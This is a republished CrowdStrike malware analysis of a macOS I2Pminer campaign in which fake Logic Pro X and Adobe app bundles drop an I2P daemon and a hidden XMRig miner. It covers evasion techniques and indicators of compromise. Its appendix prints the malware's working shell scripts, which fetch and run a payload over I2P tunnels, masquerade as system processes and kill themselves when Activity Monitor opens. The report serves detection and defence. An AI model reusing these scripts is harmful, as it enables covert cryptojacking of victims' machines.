I2Pminer MacOS Mineware Variant
Published 05/03/2023
Originally published by CrowdStrike on February 23, 2023.
- CrowdStrike analyzed an I2Pminer variant that targets macOS
- The mineware utilizes I2P to hide XMRig network traffic
CrowdStrike recently analyzed a macOS-targeted mineware campaign that utilized malicious application bundles to deliver open source XMRig cryptomining software and Invisible Internet Protocol (I2P) network tooling.
Research began after identifying suspicious multi-architecture binaries within a public malware repository. Analysis of common samples shows that the techniques in this campaign date back to the summer of 2021. The identified applications shared a common theme: identifying as Apple Logic Pro X, Final Cut Pro, Traktor or various Adobe Creative Suite products. The primary executable is a dropper containing a legitimate version of the application and I2P tooling. Utilizing I2P, the dropper then downloads a custom XMRig miner and orchestrates the mining operations.
Open source reporting1 also observed similar usage of I2P and XMRig, but the previous threats did not involve the same usage of a legitimate application and scripts to deploy its tooling.
Technical Analysis
This campaign lures the victim into believing that they are installing a legitimate application for successful execution. The malicious dropper contains a legitimate version of the software and executes it to give the illusion of a properly behaving application. It then relies on a number of shell scripts to configure and orchestrate its mining operations. The following analysis was performed on a binary that drops and executes a copy of Apple Logic Pro X (bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7).
Installation
It is likely that these malicious application bundles are distributed via Apple Disk Images (DMGs). The malicious application bundles were observed executing out of the /Applications/ folder. DMGs are a common delivery mechanism for both benign and malicious software. It is typical for DMGs to instruct users to drag and drop application bundles from the mounted disk image to the application folder.
Dropper Binary
At the core of these malicious application bundles is a Mach-O binary acting as a dropper. Binaries were found to be universal Mach-Os, supporting both x86_64 and ARM architectures. The dropper binary is located within the installed application bundle at /Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X. Therefore, it executes when the application bundle is launched. The dropper is responsible for orchestrating the installation and execution of the legitimate application, I2P tooling and XMRig miner. Figure 1 outlines the multiple layers of process execution.
Figure 1. Dropper execution diagram
Throughout the dropper’s lifecycle, it heavily relies on randomly generated names for folders and files in the /tmp/ directory. The dropper binary generates a number of these file paths through its own random character generator and dynamically produces the script content with these generated values. The scripts also rely heavily on the usage of mktemp to generate variables within the scripts. Both of these methods produce files with the syntax of ._[a-zA-Z]{8} (e.g., ._JdYdPLMq). Files produced within the Mach-O are generated with 10 characters, whereas usage of mktemp within the scripts produces files made of eight characters.
Legitimate Application Dropper Script
In order to appear as a working copy of Logic Pro X, the dropper contains a legitimate copy of the lure application. The dropper starts by generating a script to decode the legitimate Mach-O file. During this process a large Base64-encoded file is written to disk. An example of this script can be found in the Appendix. Its purpose is to create a mirrored application bundle located in the host’s /tmp/ directory. The mirrored bundle contains the legitimate application instead of the dropper binary.
The generated script is executed via a /bin/sh subprocess. The script removes any files that conflict with its randomly generated paths. Then it creates a new folder structured for the bundle located at /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents. It creates symbolic links in the /tmp/ bundle to mirror all directories found in /Applications/Logic Pro X.app/Contents and /Applications/Logic Pro X.app/Contents/MacOS to their respective /tmp/ locations. All files located in /Applications/Logic Pro X.app/Contents folder are copied to their respective /tmp/ location. The Logic Pro X dropper binary is deleted with the /tmp/ bundle. It will be replaced with the legitimate application. In order to unpack the legitimate binary, the previously written Base64 file is decoded and unarchived. The contents are saved to /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents/MacOS/Logic Pro X. The script’s final action is to set the executable bit of this binary.
The dropper then forks itself in order to launch the legitimate application. The forked process makes a call to execl to execute the legitimate Logic Pro X application located in /tmp/.
The original dropper process continues to execute in order to orchestrate the mining operations. It relies on two additional scripts to configure the I2P network tooling and download the XMRig mining software.
I2P Dropper Script
I2P is an anonymous network layer. All communications over I2P are anonymous and end-to-end encrypted, and users of the network don't reveal their real IP addresses. The dropper binary unpacks a customized Mach-O compiled from the open source i2pd (I2P Daemon) project. Usage of i2pd enables other processes on the computer to tunnel traffic to the I2P network. I2P is configured and used by the dropper to download the mining tooling but also to proxy the miner’s network communications.
The I2P dropper script is written to disk at /tmp/._[a-zA-Z]{10}. An example of the script can be found in the Appendix. The script is executed as a /bin/sh subprocess.
The script first deletes itself from the disk. This is done to evade detection but also to open up the opportunity to reuse the same randomly generated filename for the actual i2pd binary. The i2pd binary is stored within the script as a large, inline Base64-encoded variable. This value is decoded and the output is written to an additional file (/tmp/._[a-zA-Z]{8}). This file is read and unarchived to the original file path of the I2P dropper script. The script pads the resulting Mach-O with a random number of \x00 bytes. The padded i2pd Mach-O file is executed via a call to exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared" "$0". Note that $0 will resolve the first argument of the current process. This is the file path of the I2P dropper script, which was replaced with the padded i2pd Mach-O file. The exec call will execute the binary and modify the process name to the mdworker_shared file path. After the process executes, the I2P dropper script removes the i2pd Mach-O file from the disk.
i2pd
The I2P Daemon binary dropped by the Logic Pro X dropper is tooling built using version 2.41.0 of the open source project. It is a universal binary supporting both x86_64 and ARM architectures.
Public i2pd binaries rely on config files or command line arguments for necessary configuration of tunnels and upstream connections. The binary used in this threat is custom tooling developed on top of the i2pd code base. In addition to running the I2P network stack, it also contains static configuration elements necessary for the operation of the XMRig miner. This allows it to minimize command line arguments and additional files dropped to disk.
The custom binary is built to configure two tunnels from the local host to the I2P network. These tunnels are responsible for the localhost listeners on ports 4444 and 4445. The listener utilizing port 4444 is called “pool” while the listener utilizing port 4445 is labeled “payload.” These align with their usage by the XMRig downloader and miner. Each tunnel is configured to tunnel traffic to an upstream address within the I2P network. The following chart summarizes the tunnels and their configurations.
Label | Type | Local Address | Local Port | Destination Address |
pool | client | 127.0.0.1 | 4444 | hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p |
payload | client | 127.0.0.1 | 4445 | jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p |
The host now has a running i2pd process. This will enable it to use the I2P network for the XMRig download, and to handle the miner’s network communications.
XMRig Downloader Script
XMRig is an open source CPU/GPU miner that supports numerous protocols.The dropper generates and executes a script to download, configure and execute a copy of a XMRig miner. An example of the script can be found in the Appendix. The script is executed as a command line argument passed into a /bin/sh -c [scriptcontent] subprocess.
This script is executed by the Mach-O dropper before the I2P Dropper script, but its first step is to sit in a loop and wait for the creation of the /tmp/i2pd directory. This directory is generated during the execution of the I2P Dropper script. After this file is detected, the XMRig downloader starts a second I2P Daemon process and saves the new pid to /tmp/i2pd. The script then removes any files that conflict with its randomly generated paths.
The script then enters a download loop that contains two subloops, one to download the MD5 hash of the XMRig payload, and a second to download the XMRig payload. During the first subloop, curl is used to download a MD5 hash from http://127.0.0[.]1:4445/updtmd. This localhost port is configured to tunnel traffic through i2pd to the destination address listed above. This loop attempts the download every five seconds until it is successful. During this loop, the script implements a check using pgrep for Activity Monitor processes in an attempt to evade user detection. If Activity Monitor is detected then execution is stopped and the script exits. If the MD5 hash is successfully downloaded, its value is saved and execution is passed to the second subloop. This second subloop performs the same actions but instead pulls the XMRig payload from http://127.0.0[.]1:4445/update. If this download is successfully written to disk, it is hashed and the value is compared to the previously downloaded MD5 hash. If the hashes are equal, execution proceeds past the download loop — otherwise, the outer download loop is reevaluated.
The XMRig payload is then extracted from the download via tar, and the resulting Mach-O file is padded with a random number of \x00 bytes. Similar to the ip2d process, it is executed via an exec -a call utilizing a process name of /System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local. Next, the XMRig Download Script sends the XMRig miner a config via the XMRig miner’s native API. In order to accomplish this, curl is used to send a post message to http://127.0.0[.]1:4543/1/config. Port 4543 is the default listening port for XMRig’s API. An example of this config can be found in the Appendix. The script enters a final loop to once again check for the presence of an Activity Monitor process. If Activity Monitor is running, the script kills the I2P Daemon and XMRig miner processes and exits.
XMRig
The XMRig binary dropped by the Logic Pro X dropper is also custom tooling built using version 6.18.1 of the open source project. This is also a universal binary supporting both x86_64 and ARM architectures.
The binary’s source is modified to execute with an altered default configuration. Similar to the I2P Daemon, this is done to minimize command line arguments. The binary does not need a command line miner config. The http API is also enabled by default. This is done so that no configs need to be passed via the command line and that the config can be sent via curl within the XMRig download script.
The config also reveals a few details about the mining operations. The existence of a donate-over-proxy value and the usage of generic user and password values within the XMRig configuration reveal the usage of a mining proxy. The usage of a proxy allows authors to control all of their mining implants and their target pools via a centralized console. This proxy server is located on the I2P network at the destination of the pool tunnel.
The XMRig implant will execute until the user logs off, shuts down their computer or opens Activity Monitor. With the observed configuration, it will utilize the I2P network and the mining proxy to perform CPU mining operations on the host.
Defense Evasion
The dropper binary and its scripts utilize a number of techniques to avoid detection.
The dropper bundle in the applications folder appears legitimate, and this bundle houses all of the Logic Pro X dependencies/frameworks. The authors cleverly utilized these legitimate dependencies via symbolic links when dynamically creating the legitimate bundle in the temp folder.
Even though the scripts produce many on-disk artifacts, the dropper and scripts are quick to remove them as soon as they are executed or used. The i2pd and XMRig binaries are padded with a random number of zero bytes to change its hash and expand its size. They also both use CoreServices framework binaries as the execution name. This is so that it can blend in within process tree/process viewers.
Mining-related CPU spikes can be difficult to notice due to the system resource-intensive applications that were chosen. If these spikes are noticed, the implant is also quick to kill itself and clean up its on-disk artifacts if it determines the user is investigating system resources via Activity Monitor.
Persistence
The dropper does not establish persistence through typical means, instead relying on the lure of its legitimate application for execution. The mining infrastructure is dropped, downloaded and deleted every time the dropper executes. As long as the dropper successfully launches its legitimate application, the user will continue to execute the dropper under the assumption that it is legitimate.
Dropper Variant
A related group of dropper variants was also identified (e.g., 27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5). These variants are distributed by a malicious application bundle that contains a setup script, legitimate application and Mach-O dropper. All three files are distributed within the Contents/MacOS directory in the application bundle. The setup script is the app bundle's primary executable and serves to execute the legitimate binary, copy the Mach-O dropper to /tmp/._[a-zA-Z]{10} and execute the relocated Mach-O. Similar to the techniques and analysis above, the Mach-O dropper installs i2pd and the XMRig miner. The variants utilize the same variable names and directory naming schema, and also date back to Summer 2021.
MITRE ATT&CK® Framework
Tactic | Technique | Description |
Execution |
|
|
Defense Evasion |
|
|
Command and Control |
|
|
Impact |
|
|
Indicators of Compromise (IOCs)
Files
File | SHA256 |
Dropper (Logic Pro X) | bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7 |
i2pd | a22b48ce098ad4b082c4f4de78c708294e08212ab8dfd818642f7922c8e794c3 |
XMRig | 86019af5850b01c6c6c9c724e0468a891947b2ef5da930405a30342f1e6ae5eb |
Dropper (Variant) | 27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5 |
I2P Domains
Domain |
hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p |
jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p |
Appendix
Legitimate Application Script
sh -c SCRIPTPATH=$( cd -- "$(dirname "/Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X")/.." >/dev/null 2>&1 ; pwd -P );BLOB_PATH="/tmp/._KbmflZqwXa";IMG_SP_PATH="/tmp/._bHOospjBUL";[ -f "$IMG_SP_PATH" ] && rm -rf "$IMG_SP_PATH"; [ -d "$IMG_SP_PATH" ] && rm -rf "$IMG_SP_PATH";TMPDIR="$IMG_SP_PATH/Logic Pro X.app/Contents";mkdir -p "$TMPDIR"; ( find "$SCRIPTPATH" -type d -mindepth 1 -maxdepth 1 -exec ln -s ../ {} "$TMPDIR" \;) > /dev/null 2>&1; rm -rf "$TMPDIR/MacOS";mkdir "$TMPDIR/MacOS";(find "$SCRIPTPATH" -type f -maxdepth 1 -exec cp {} "$TMPDIR" \;) > /dev/null 2>&1;(find "$SCRIPTPATH/MacOS" -type f -mindepth 1 -maxdepth 1 -exec ln -s ../ {} "$TMPDIR/MacOS" \;) > /dev/null 2>&1;APP_MACH="$TMPDIR/MacOS/Logic Pro X";rm -rf "$APP_MACH";CT=$(mktemp /tmp/._XXXXXXXX);cat "$BLOB_PATH" | base64 -o "$CT" -d;tar -xf "$CT" -O >"$APP_MACH";rm -rf "$CT";rm -rf "$BLOB_PATH";chmod +x "$APP_MACH";
I2P Dropper Script
#!/bin/bash rm -rf "$0";I2PCTMPFILE=$(mktemp /tmp/._XXXXXXXX);I2PBASE64BLOB="[base64 blob]";echo $I2PBASE64BLOB | base64 -o "$I2PCTMPFILE" -d;tar -xf "$I2PCTMPFILE" -O > "$0";head -c $(($RANDOM*$((1 + RANDOM % 1000)))) /dev/zero >> "$0";rm -rf "$I2PCTMPFILE";chmod +x "$0";(( exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared" "$0" ) & echo $! > "/tmp/i2pd/._pid");sleep 3 && rm -rf "$0";exit
XMRig Downloader Script
sh -c /System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/ QuickLookUIService.xpc/Contents/MacOS/mdworker-bundle -s mdworker-bundle -c MDSImporterBundleFinder -m com.apple.metadata.mdbulkimport > /dev/null 2>&1;appId="[uniqueid]";r_nme="BGlyVRaZgH";r_i2="QSRqPzSHBd";tmr="\u000c"; rnd_sz="2521286";PLD="update";MD5="updtmd";[ ! -d "/tmp/i2pd" ] && mkdir "/tmp/i2pd"; (( while true; do sleep 1; [ -f "/tmp/i2pd/._pid" ] && break;done; PID=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; chmod +x "/tmp/._${r_i2}"; ("/tmp/._${r_i2}" &); while true; do sleep 2; [ -f "/tmp/i2pd/._pid" ] && break;done; I2PD_PID=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; tmpwd="/tmp"; d_p="$tmpwd/._${r_nme}"; d_md5="$tmpwd/._${r_nme}_md5"; [ -d "$d_p" ] && rm -rf "$d_p"; [ -d "$d_md5" ] && rm -rf "$d_md5"; [ -f "$d_p" ] && rm -rf "$d_p"; [ -f "$d_md5" ] && rm -rf "$d_md5"; complete="false"; finished="false"; while [ "$complete" != "true" ]; do while [ "$finished" != "true" ]; do curl --silent -o "$d_md5" "http://127.0.0.1:4445/$MD5"; [ -f "$d_md5" ] && finished="true" && md2=$(cat "$d_md5") && rm -rf "$d_md5"; sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ "$I2PD_PID" != "" ] && kill -9 "$I2PD_PID" > /dev/null 2>&1;[ "$PID" != "" ] && kill "$PID" > /dev/null 2>&1;pkill "._${r_i2}";exit); done; finished="false"; while [ "$finished" != "true" ]; do curl --silent -o "$d_p" "http://127.0.0.1:4445/$PLD"; [ -f "$d_p" ] && finished="true" && md1=$(md5 -q "$d_p"); sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ -f "$d_p" ] && rm -rf "$d_p";[ "$I2PD_PID" != "" ] && kill -9 "$I2PD_PID" > /dev/null 2>&1;[ "$PID" != "" ] && kill "$PID" > /dev/null 2>&1;pkill "._${r_i2}";exit); done; [[ "$md1" == "$md2" ]] && complete="true"; done; TMPFILE=$(mktemp /tmp/._XXXXXXXX); tar -xf "$d_p" -O > "$TMPFILE"; rm -rf "$d_p"; mv "$TMPFILE" "$d_p"; head -c $rnd_sz /dev/zero >> "$d_p"; chmod +x "$d_p"; (( exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local" "$d_p" ) & echo $! > "/tmp/i2pd/._pid"); PIDW=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; sleep 9; XARCH=$(uname -m); [[ "$XARCH" == "x86_64" ]] && HP=true || HP=false; echo '{ "api": { "id": null, "worker-id": null }, "http": { "enabled": true, "host": "127.0.0.1", "port": 4543, "access-token": 2, "restricted": false }, "autosave": true, "background": false, "colors": true, "title": true, "randomx": { "init": -1, "init-avx2": -1, "mode": "auto", "1gb-pages": false, "rdmsr": true, "wrmsr": true, "cache_qos": false, "numa": true, "scratchpad_prefetch_mode": 1 }, "cpu": { "enabled": true, "huge-pages": '$HP', "huge-pages-jit": false, "hw-aes": null, "priority": null, "memory-pool": false, "yield": true, "max-threads-hint": 25, "asm": false, "argon2-impl": null, "astrobwt-max-size": 550, "astrobwt-avx2": false, "cn/0": false, "cn-lite/0": false }, "opencl": { "enabled": false, "cache": true, "loader": null, "platform": "AMD", "adl": true, "cn/0": false, "cn-lite/0": false }, "cuda": { "enabled": false, "loader": null, "nvml": true, "cn/0": false, "cn-lite/0": false }, "donate-level": 0, "donate-over-proxy": 1, "log-file": null, "pools": [ { "algo": null, "coin": null, "url": "127.0.0.1:4444", "user": "x", "pass": "x", "rig-id": "'${XARCH:0:1}${appId:0:7}'", "nicehash": true, "keepalive": false, "enabled": true, "tls": false, "tls-fingerprint": null, "daemon": false, "socks5": null, "self-select": null, "submit-to-origin": false } ], "print-time": 60, "health-print-time": 60, "dmi": true, "retries": 5, "retry-pause": 5, "syslog": false, "tls": { "enabled": false, "protocols": null, "cert": null, "cert_key": null, "ciphers": null, "ciphersuites": null, "dhparam": null }, "user-agent": null, "verbose": 0, "watch": true, "pause-on-battery": false, "pause-on-active": false }'|curl --silent --data-binary @- -H "Expect: 2400" -H "Content-Type: application/json" -H "Authorization: Bearer 2" http://127.0.0.1:4543/1/config > /dev/null; [ -f "$d_p" ] && rm -rf "$d_p"; (APID=$$;(while true; do sleep 3;(pgrep -x 'Activity Monitor' > /dev/null) && break;done;); [ "$I2PD_PID" != "" ] && kill -9 "$I2PD_PID" > /dev/null 2>&1; [ "$PIDW" != "" ] && kill "$PIDW" > /dev/null 2>&1; [ "$PID" != "" ] && kill "$PID" > /dev/null 2>&1; pkill "._${r_nme}"; pkill "._${r_i2}"; kill "$APID" > /dev/null 2>&1;); exit) & echo $! > "/tmp/i2pd/._pid");
XMRig Config
{ "api": { "id": null, "worker-id": null }, "http": { "enabled": true, "host": "127.0.0.1", "port": 4543, "access-token": 2, "restricted": false }, "autosave": true, "background": false, "colors": true, "title": true, "randomx": { "init": -1, "init-avx2": -1, "mode": "auto", "1gb-pages": false, "rdmsr": true, "wrmsr": true, "cache_qos": false, "numa": true, "scratchpad_prefetch_mode": 1 }, "cpu": { "enabled": true, "huge-pages": "$HP", "huge-pages-jit": false, "hw-aes": null, "priority": null, "memory-pool": false, "yield": true, "max-threads-hint": 25, "asm": false, "argon2-impl": null, "astrobwt-max-size": 550, "astrobwt-avx2": false, "cn/0": false, "cn-lite/0": false }, "opencl": { "enabled": false, "cache": true, "loader": null, "platform": "AMD", "adl": true, "cn/0": false, "cn-lite/0": false }, "cuda": { "enabled": false, "loader": null, "nvml": true, "cn/0": false, "cn-lite/0": false }, "donate-level": 0, "donate-over-proxy": 1, "log-file": null, "pools": [ { "algo": null, "coin": null, "url": "127.0.0.1:4444", "user": "x", "pass": "x", "rig-id": "'${XARCH:0:1}${appId:0:7}'", "nicehash": true, "keepalive": false, "enabled": true, "tls": false, "tls-fingerprint": null, "daemon": false, "socks5": null, "self-select": null, "submit-to-origin": false } ], "print-time": 60, "health-print-time": 60, "dmi": true, "retries": 5, "retry-pause": 5, "syslog": false, "tls": { "enabled": false, "protocols": null, "cert": null, "cert_key": null, "ciphers": null, "ciphersuites": null, "dhparam": null }, "user-agent": null, "verbose": 0, "watch": true, "pause-on-battery": false, "pause-on-active": false }
Endnote
Related Articles:
A Vulnerability Management Crisis: The Issues with CVE
Published: 11/21/2024
Establishing an Always-Ready State with Continuous Controls Monitoring
Published: 11/21/2024
AI-Powered Cybersecurity: Safeguarding the Media Industry
Published: 11/20/2024